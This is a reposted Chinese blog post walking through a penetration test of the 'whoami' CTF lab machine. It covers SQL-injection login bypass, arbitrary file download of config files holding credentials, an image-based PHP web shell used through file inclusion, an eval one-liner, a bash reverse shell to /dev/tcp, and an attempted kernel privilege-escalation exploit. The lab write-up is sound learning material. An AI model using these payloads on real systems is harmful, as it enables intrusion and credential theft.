4

whoami靶场渗透测试

 2 years ago
source link: https://xdlbw.github.io/2022/04/26/whoami%E9%9D%B6%E5%9C%BA%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

whoami靶场渗透测试

2022-04-26- 2022-04-28
2.1k- 8m- 6

靶机:云演考试题,whoami靶机(源码没有找到没有在本地搭)

攻击机:kali

开始时访问网站发现啥信息也没有

image-20220426202955993

获取靶机ip

windows 终端 ping 即可

image-20220426202134496

kali 机使用 nmap -sS + ip 扫描得到靶机开放端口

image-20220426202320000

一开始用御剑扫,字典太小了导致啥也没扫到,robots.txt 里面的 flag 提交上去还是错的

image-20220426202540195

后来用 kali 的 dirb + url 扫描,扫到了有一个 www 目录,然后呢用 dirb + url扫这个目录又扫不出东西了

image-20220426202710842

说是这么说,还是扫到东西了的,最关键的当属phpmy目录,imagesupload_images咱都没权限访问

image-20220426205430506

于是又转到御剑,发现文件都藏在这目录下了

image-20220426203227826

首先访问 www

image-20220426214127779

尝试进行sql注入攻击,测试语句为万能密码:’ or 1=1 --
后续还尝试了一些弱口令以及暴力破解,但测试结果都是try again。不知道过滤规则暂时放弃sql注入。

接着一个个访问此目录下的文件,发现其中 head.php、show.php、c.php分别是照片、空白、空白。而 add.php 是文件上传页面,但是尝试上传图片之后并没有回显地址,暂时作罢。值得注意的是 test.php,乍一看没啥,但是查看网页源代码发现

image-20220426203719254

文件下载漏洞

'file' parameter is empty. Please provide file path in 'file' parameter 

提示“file”参数为空,请在“file”参数中提供文件路径。这是我们打开新世界大门的关键。

给test.php页面一个file参数
首先考虑是GET方式:http://28e7134f.lxctf.net/www/test.php?file=/etc/passwd ,无果
其次考虑POST方式,使用hackbar页面会显示下载该文件。结合burp使用可以直接看到文件的内容:

image-20220426204726095

获取数据库账号密码

由上述测试可知,test.php存在文件下载漏洞。我们如法炮制的看看其他文件内容,比如我们通过下载 c.php看到了数据库的账号whoami,密码whoami_hacker,以及数据库名ica_lab

image-20220426205756732

数据库登录后台文件是啥呢?就是前面扫到的phpmy,登陆访问

image-20220426210032836

看到ica_lab数据库,访问auth看到有一个账号密码。猜测是前面的登陆密码。

image-20220426210755198

同时发现了flag,但是这个也是错的。

image-20220426212140309

知晓sql注入绕过方式

同样利用前面的文件下载漏洞,下载www目录下的index.php文件,它涉及到前端sql注入的绕过方式

$uname=str_replace('\'','',urldecode($_POST['un']));
$pass=str_replace('\'','',urldecode($_POST['ps']));

这边str_replace的作用是将字符串 \ ‘ 替换为空,因此构造SQL注入登录payload时,必须含有 \ ‘ 字符串,否则会报错。urldecode的作用是将输入解码。我们在之前的payload:’ or 1=1– 做出修改,在最后增加 \ ‘,str_replace会将这个\ ‘ 替换为空,所以相当于没加。

此刻我们就有两种方法登录了

由于我们在数据库中获取了账号密码,直接登陆即可

image-20220426214525298

第二种利用上述的sql注入,账号密码均输入' or 1=1 -- /',也可成功登录(这边我靶机到期重启了一下,域名换了,不过无伤大雅)

image-20220426214658674

文件上传+包含漏洞getshell

登陆成功进入 panel.php 页面,首先查看show users模块,发现与数据库中的users模块一致

image-20220427110230267

image-20220427110304333

再看看add user模块,让我们上传文件,我们跟前面一样利用任意文件下载看看它的后端代码

if(isset($_POST['continue']))
{
	$dir=getcwd();
	$choice=str_replace('./','',$_POST['load']);	
	if($choice==='add')
	{
       		include($dir.'/'.$choice.'.php');
			die();
	}
        if($choice==='show')
	{       
		include($dir.'/'.$choice.'.php');
		die();
	}
	else
	{
		include($dir.'/'.$_POST['load']);
	}
}

通过代码审计可知此文件存在文件包含漏洞,可以利用文件上传+包含的思路getshell

其次观察到,只允许我们上传图片类的文件,属于白名单问题,可以利用图片马

if(isset($_POST['upload']))
{
	$name=mysqli_real_escape_string($conn,$_POST['name']);
	$address=mysqli_real_escape_string($conn,$_POST['address']);
	$id=mysqli_real_escape_string($conn,$_POST['id']);
	
	if(!empty($_FILES['image']['name']))
	{
		$iname=mysqli_real_escape_string($conn,$_FILES['image']['name']);
	$r=pathinfo($_FILES['image']['name'],PATHINFO_EXTENSION);
	$image=array('jpeg','jpg','gif','png');
	if(in_array($r,$image))
	{
		$finfo = @new finfo(FILEINFO_MIME); 
	$filetype = @$finfo->file($_FILES['image']['tmp_name']);
		if(preg_match('/image\/jpeg/',$filetype )  || preg_match('/image\/png/',$filetype ) || preg_match('/image\/gif/',$filetype ))
				{
					if (move_uploaded_file($_FILES['image']['tmp_name'], 'uploaded_images/'.$_FILES['image']['name']))
							 {
							  echo "Uploaded successfully ";
							  $update='insert into users(name,address,image,id) values(\''.$name.'\',\''.$address.'\',\''.$iname.'\', \''.$id.'\')'; 
							 mysqli_query($conn, $update);				  
							}
				}
			else
			{
				echo "<br>i told you dear, only png,jpg and gif file are allowed";
			}
	}
	else
	{
		echo "<br>only png,jpg and gif file are allowed";	
	}
}

随便找一张jpg图片,用010 editor在图片末尾加上

<?php system($_GET['cmd']); ?>

image-20220427110924330

之后上传文件,显示成功,且根据前面得到的目录,不难猜测应该是保存在uploaded_images目录下

来测试一下文件到底有没有成功包含,使用burp,在URL的post请求中加入POST /panel.php?cmd=cat%20/etc/passwd,正文中加入load=uploaded_images/ma.jpg&continue=continue

image-20220427111529624

可以看到命令已经成功执行。想想怎么用菜刀链接呢?根据前面可知照片是以POST访问的,而菜刀只能以GET访问,所以菜刀是不能连接这个图片马的。

换个思路,在之前图片马的基础上,写入一句话文件,菜刀连接一句话文件。使用burp执行命令,直接以POST方式写一句到uploaded_images下的webshell.php

要注意的是一句话要通过url编码,echo '<?php @eval($_POST['cmd']);?>' >> uploaded_images/webshell.php

image-20220427112425022

再次访问图片马 cat uplaoded_images/webshell.php (同样经过url编码)发现确实写入了

image-20220427112737982

之后利用菜刀成功连接

image-20220427113044235

image-20220427112930621

可以在根目录下找到flag(这次是真的flag)

image-20220428140548320

失败的提权

为什么说是失败的提权,因为我用的这三种方法都没有成功(哭)

方法一:ssh登录

由前面的靶机端口可探测到22端口,意味着只需要得到主机的账号密码就可以成功了
又联想到PHP默认配置文件是config.inc.php,系统路径结合phpmy(这边我都试了一下,发现在phpmy下)
同样利用任意文件下载phpmy/config.inc.php,直接查看账户信息

image-20220427122134298

得到用户名为root,密码为roottoor,尝试连接

image-20220427135721856

连接失败了,有两个原因:
1、远程服务器没有添加公钥(无法认证)
2、远程服务器公钥文件夹权限错误(.ssh.ssh/authorized_keys需要保证只有用户自己有权限,否则验证无效)

由于这俩都是指向靶机,我在菜刀里也没找到这俩文件,所以放弃这种方法。但至少我们获取了root的账号密码。

方法二:反弹shell

kali命令行里输入nc -lvnp 6666开始监听,同时burp的post请求中执行echo “bash -i >& /dev/tcp/192.168.113.130/6666 0>&1” | bash(我kali机的IP地址为192.168.113.130),同样要先经过URL编码才能发送。

image-20220427140311116

kali监听

image-20220427140401082

POST发送反弹shell命令

image-20220427152028592

遗憾的是,kali机并没有反弹会话…

我真傻,真的,我单单学者如何反弹shell,却没注意它的前提。前提是攻击机在公网ip,但是我的kali机是在内网的,靶机反弹的shell找不到在内网的kali机,所以就监听不到任何东西了…

由于我也是才接触渗透提权这块,还不是很了解,所以就没有找到很好的解决方法(或许可以找一个公网IP?)。

方法三:菜刀

在上述使用菜刀连接后,利用其自带的虚拟终端功能,查看系统内核版本,寻找提权exp。命令为uanme -acat /etc/issue

image-20220427143354789

可以在kali机上寻找与版本对应的Ubuntu本地提权漏洞exp

image-20220427143651845

官网下载exp后将文件导入菜刀

image-20220427143902000

赋予执行权限 chmod 777 37292.c;编译exp gcc 37292.c -o exp;执行exp,提权至root

image-20220427144426329

但最后还是失败了…不知道啥原因

麻了麻了这个提权搞了好久一直不成功,到最后也没有找到一种成功的方法。针对这个靶场的渗透就先做到这里,毕竟是第一次就一个靶场进行完整的渗透,在这个过程中也学到了很多之前或忽略或遗忘的知识,以及很多新的知识。后续会重点关注如何提权,会慢慢学习的XoX


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK